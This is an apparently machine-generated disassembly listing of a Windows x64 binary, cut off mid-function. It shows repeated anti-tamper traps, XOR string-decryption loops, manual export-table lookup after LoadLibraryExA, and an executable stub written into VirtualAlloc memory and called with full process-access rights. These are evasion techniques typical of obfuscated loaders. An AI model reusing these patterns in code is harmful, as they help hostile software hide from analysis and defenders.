mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, rsi
jne 0x14001efb9
mov rax, qword gs:[0x51]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ef99
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ef99
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001efb9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
call fcn.140088d50
or dword [rbp + 0x7414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6090]
call fcn.14002affc
mov rax, qword gs:[0x1a]
cmp rax, rsi
jne 0x14001f083
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f063
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f063
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f083
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, rsi
jne 0x14001f12d
mov rax, qword gs:[0x51]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f10d
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f10d
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f12d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, rsi
jne 0x14001f1d7
mov rax, qword gs:[0x51]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f1b7
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f1b7
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f1d7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, rsi
jne 0x14001f281
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f261
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f261
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f281
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, rsi
jne 0x14001f32b
mov rax, qword gs:[0x51]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f30b
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f30b
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f32b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov qword [rbp + 0xe58], r15
mov rax, qword gs:[0x1a]
cmp rax, rsi
jne 0x14001f3ef
mov rcx, qword gs:[0x51]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x114209c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f3cf
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f3cf
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f3ef
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, rsi
jne 0x14001f499
mov rax, qword gs:[0x51]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f479
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f479
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f499
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rdi, qword [rbp + 0x1098]
sub rdi, qword [rbp + 0x1090]
sar rdi, 3
lea rcx, [rbp + 0x6090]
call fcn.14002a594
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[0x1a]
cmp rax, rsi
jne 0x14001f56b
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f54b
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f54b
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f56b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov edi, r15d
mov rax, qword [rbp + 0x1098]
sub rax, qword [rbp + 0x1090]
sar rax, 3
test rax, rax
je 0x14001f87d
xor r14d, r14d
mov rax, qword gs:[0x1a]
cmp rax, rsi
jne 0x14001f627
mov rax, qword gs:[0x51]
mov ecx, 0xa77e4c99
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f940
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f940
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14001f940
movsxd rax, ebx
mov rcx, qword [rbp + 0x1090]
mov rcx, qword [rcx + rax*8]
call fcn.14001a730
mov r15d, eax
mov rcx, qword gs:[0x1a]
cmp rcx, rsi
jne 0x14001f6e8
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0xd7667f7
div rcx
mov qword [rbp + 0x1070], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x114209c
div rcx
mov qword [rbp + 0x1078], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0x1080], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x14001f960
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x14001f960
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x14001f960
test r15d, r15d
jne 0x14001f9c0
mov rax, qword gs:[0x1a]
cmp rax, rsi
jne 0x14001f791
mov rax, qword gs:[0x51]
movabs rcx, 0x445e706a7db93494
xor rax, rcx
mov qword [rbp + 0x1050], rax
mov rax, qword gs:[0x51]
xor rax, rcx
mov qword [rbp + 0x1058], rax
mov rax, qword gs:[0x51]
xor rax, rcx
mov qword [rbp + 0x1060], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x14001f980
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x14001f980
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x14001f980
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[0x1a]
cmp rax, rsi
jne 0x14001f85a
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0xd7667f7
div rcx
mov qword [rbp + 0xf60], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x114209c
div rcx
mov qword [rbp + 0xf68], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf70], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x14001f9a0
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x14001f9a0
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x14001f9a0
inc edi
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x14001f58c
xor r15d, r15d
mov rax, qword gs:[0x1a]
cmp rax, rsi
jne 0x1400294f7
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0xd7667f7
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x114209c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001f920
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001f920
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400294f7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword [rbp + 0x1080]
mov rdx, qword [rbp + 0x1078]
xor rdx, rax
mov rcx, qword [rbp + 0x1070]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword [rbp + 0x1060]
mov rdx, qword [rbp + 0x1058]
xor rdx, rax
mov rcx, qword [rbp + 0x1050]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.14008fd18
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], gethostname
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x210], 0xf5811143
mov dword [rbp + 0x214], 0xb85030ec
mov dword [rbp + 0x218], 0x14495354
mov word [rbp + 0x21c], reloc.WLDAP32.dll_Ordinal_217
mov r8, r14
movabs rbx, 0x8080808080808081
mov esi, 0x36d78dab
movabs r9, 0x2c8f231bc
mov r10d, reloc.WS2_32.dll_listen
movabs r11, 0x591e46378
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x210], dil
inc r8
add r9, r13
add r10, 0xd
cmp r9, r11
jb 0x14001fa5e
mov byte [rbp + 0x21d], r14b
mov dword [rbp + 0x80], 0x1eb13846
mov dword [rbp + 0x84], 0xa761eeee
mov word [rbp + 0x88], 0x52
mov r8, r14
movabs r9, 0x1ed93fb0c
mov r10d, 9
movabs r11, 0x3db27f618
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x80], dil
inc r8
add r9, r13
add r10, 9
cmp r9, r11
jb 0x14001fafc
mov byte [rbp + 0x89], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14001fd85
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001fd85
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001fd85
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001fd85
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14001fd85
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x210]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001fbf7
inc rax
test edi, edi
jne 0x14001fbe2
test r8d, r8d
je 0x14001fc09
inc rdx
cmp rdx, rsi
jb 0x14001fbd1
jmp 0x14001fd85
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14001fd85
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x14001fd82
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.140088d50
or dword [rbp + 0x87a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7420]
call fcn.14002affc
lea rcx, [rbp + 0x7420]
call fcn.14002a594
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x7420]
call fcn.14002a594
mov eax, eax
mov qword [rbp + rdi*8 + 0x406e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14001fc97
mov r8d, 0x1000
lea rdx, [rbp + 0x406e0]
mov rcx, rbx
call fcn.1400b27d0
mov dword [0x1400ec724], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x1400ec720]
movsd qword [rdi], xmm0
movzx eax, word [0x1400ec728]
mov word [rdi + 8], ax
mov al, byte [0x1400ec72a]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfd8], r14d
lea r9, [rbp + 0xfd8]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe58]
call rdi
mov edi, eax
lea r9, [rbp + 0xfd8]
mov r8d, dword [rbp + 0xfd8]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400b2e70
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400ec724], r14d
test edi, edi
js 0x14001fd98
jmp 0x14001fd85
xor r14d, r14d
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x14001fdae
mov qword [rbp + 0xe58], r14
mov ecx, r15d
call fcn.14001a210
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx - 1]
mov ebx, 0x2226fad1
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[0x1a]
ja 0x140029166
mov r15d, 0xa77e4c99
cmp rax, rbx
jne 0x14001fe71
mov rax, qword gs:[0x51]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001fe51
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001fe51
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001fe71
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
movdqa xmm0, xmmword [0x1400da6f0]
movdqu xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x1400da690]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xbc0], 0xb1f1d0cf
mov word [rbp + 0xbc4], 0xab62
xor eax, eax
mov byte [rbp + 0xbc6], al
mov r8, r14
movabs r9, 0x823ff0788
lea r10d, [rax + 0x26]
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov edi, 0x36d78dab
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xba0], dil
inc r8
add r9, r13
add r10, 0x26
movabs rax, 0x1047fe0f10
cmp r9, rax
jb 0x14001fec7
mov byte [rbp + 0xbc6], r14b
lea rcx, [rbp + 0xba0]
call fcn.140009f6c
mov rax, qword gs:[0x1a]
movabs rsi, 0x445e706a7db93494
cmp rax, rbx
jne 0x14001fff7
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ffd7
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ffd7
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001fff7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008fd18
int3
call fcn.14001a470
mov rcx, qword gs:[0x1a]
test al, al
jne 0x140020383
cmp rcx, rbx
jne 0x1400200ae
mov rax, qword gs:[0x51]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002008e
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002008e
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400200ae
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
movdqa xmm0, xmmword [0x1400da4f0]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f0], 0xad
mov r10, r14
mov r11, r12
movabs r8, 0x3a450686c
movabs r9, 0x748a0d0d8
movabs r15, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
mov edi, 0x36d78dab
shr rdi, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3e0], dil
inc r10
add r8, r13
add r11, r12
cmp r8, r9
jb 0x1400200eb
mov byte [rbp + 0x3f1], r14b
movdqa xmm0, xmmword [0x1400da550]
movdqu xmmword [rbp + 0xaf8], xmm0
movdqa xmm1, xmmword [0x1400da360]
movdqu xmmword [rbp + 0xb08], xmm1
mov r8, r14
movabs rsi, 0xd48344fa8
mov r9d, Ordinal_33
movabs r10, 0x6a41a27d4
mov cl, r8b
and cl, 7
shl cl, 3
mov edi, 0x36d78dab
shr rdi, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xaf8], dil
inc r8
add r10, r13
add r9, 0x1f
cmp r10, rsi
jb 0x14002018d
mov byte [rbp + 0xb17], r14b
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x1a]
cmp rax, rbx
movabs rsi, 0x445e706a7db93494
jne 0x1400202d5
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0xd7667f7
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x114209c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400202b5
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400202b5
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400202d5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, rbx
jne 0x140029aca
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140020363
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140020363
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029aca
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
cmp rcx, rbx
jne 0x140020424
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140020404
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140020404
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140020424
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
movdqa xmm0, xmmword [0x1400da5b0]
movdqu xmmword [rbp + 0x248], xmm0
xor eax, eax
mov byte [rbp + 0x258], al
mov r8, r14
movabs rsi, 0x8080808080808081
movabs r9, 0x36d78dac0
lea r10d, [rax + 0x10]
movabs r11, 0x6daf1b580
mov cl, r8b
and cl, 7
shl cl, 3
mov edi, 0x36d78dab
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x248]
xor dil, r8b
mov byte [rbp + r8 + 0x248], dil
inc r8
add r9, r13
add r10, 0x10
cmp r9, r11
jb 0x140020461
mov byte [rbp + 0x258], r14b
lea rcx, [rbp + 0x248]
call fcn.14001a260
mov rax, qword gs:[0x1a]
cmp rax, rbx
jne 0x140020585
mov rax, qword gs:[0x51]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140020565
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140020565
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140020585
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008fd18
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x140020717
movdqa xmm0, xmmword [0x1400da4f0]
movdqu xmmword [rbp + 0x3f8], xmm0
mov word [rbp + 0x408], 0xad
mov r10, r14
movabs r8, 0x3a450686c
mov r11, r12
mov ebx, 0x36d78dab
movabs r9, 0x748a0d0d8
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
